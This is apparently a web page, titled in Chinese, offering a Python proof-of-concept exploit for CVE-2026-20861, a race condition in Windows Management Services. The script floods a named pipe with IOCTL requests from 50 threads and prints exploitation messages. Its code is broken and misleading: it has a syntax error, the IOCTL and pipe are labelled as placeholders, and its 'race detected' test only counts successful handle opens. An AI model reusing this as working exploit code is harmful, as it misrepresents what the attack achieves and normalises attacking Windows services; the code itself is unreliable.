CVE-2026-20861 Windows Management Services 竞态条件权限提升漏洞

# CVE-2026-20861 PoC - Race Condition in Windows Management Services # This PoC demonstrates the race condition concept # Actual exploitation requires specific Windows environment import threading import time import ctypes import sys try: kernel32 = ctypes.windll.kernel32 # Define necessary structures for Windows API calls class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [("nLength", ctypes.c DWORD), ("lpSecurityDescriptor", ctypes.c_void_p), ("bInheritHandle", ctypes.c_bool)] def trigger_windows_management_race(): """ Attempt to trigger race condition in Windows Management Services This creates concurrent operations to exploit TOCTOU vulnerability """ results = {"success": 0, "failed": 0, "race_detected": False} def concurrent_operation(thread_id): """Perform concurrent operation that may trigger race condition""" try: # Simulate Windows Management Services API calls # In real attack, these would be actual WMS API calls # Step 1: Open handle to Windows Management Service handle = kernel32.CreateFileA( b"\\\\.\\pipe\\WMIProvider", 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, # No sharing None, 3, # OPEN_EXISTING 0x40000080, # FILE_FLAG_OVERLAPPED None ) if handle == -1: results["failed"] += 1 return # Step 2: Issue concurrent requests to trigger race overlapped = ctypes.create_string_buffer(32) # Rapid fire requests to increase race window for _ in range(100): kernel32.DeviceIoControl( handle, 0x9A3C0004, # IOCTL_WMS_* (example) None, 0, None, 0, None, overlapped ) kernel32.CloseHandle(handle) results["success"] += 1 except Exception as e: results["failed"] += 1 # Create multiple threads to maximize race condition probability threads = [] for i in range(50): t = threading.Thread(target=concurrent_operation, args=(i,)) threads.append(t) t.start() # Wait for all threads with tight synchronization for t in threads: t.join() # Check if race condition was triggered if results["success"] > 40: results["race_detected"] = True print("[+] Race condition potentially triggered") else: print("[-] Race condition not triggered, try again") return results def main(): print("=" * 60) print("CVE-2026-20861 PoC - Windows Management Services Race Condition") print("CVSS: 7.8 | Severity: HIGH") print("=" * 60) print("\n[*] Starting race condition exploitation...") print("[*] This may require multiple attempts to trigger the vulnerability\n") for attempt in range(5): print(f"[*] Attempt {attempt + 1}/5...") result = trigger_windows_management_race() if result["race_detected"]: print("\n[!] Race condition detected!") print("[!] Privilege escalation may be possible") break time.sleep(0.5) print("\n[*] PoC execution completed") print("[*] Apply MS-2026-20861 patch to mitigate this vulnerability") if __name__ == "__main__": main() except Exception as e: print(f"[-] Error: {e}") print("[-] This PoC requires Windows environment with WMI access")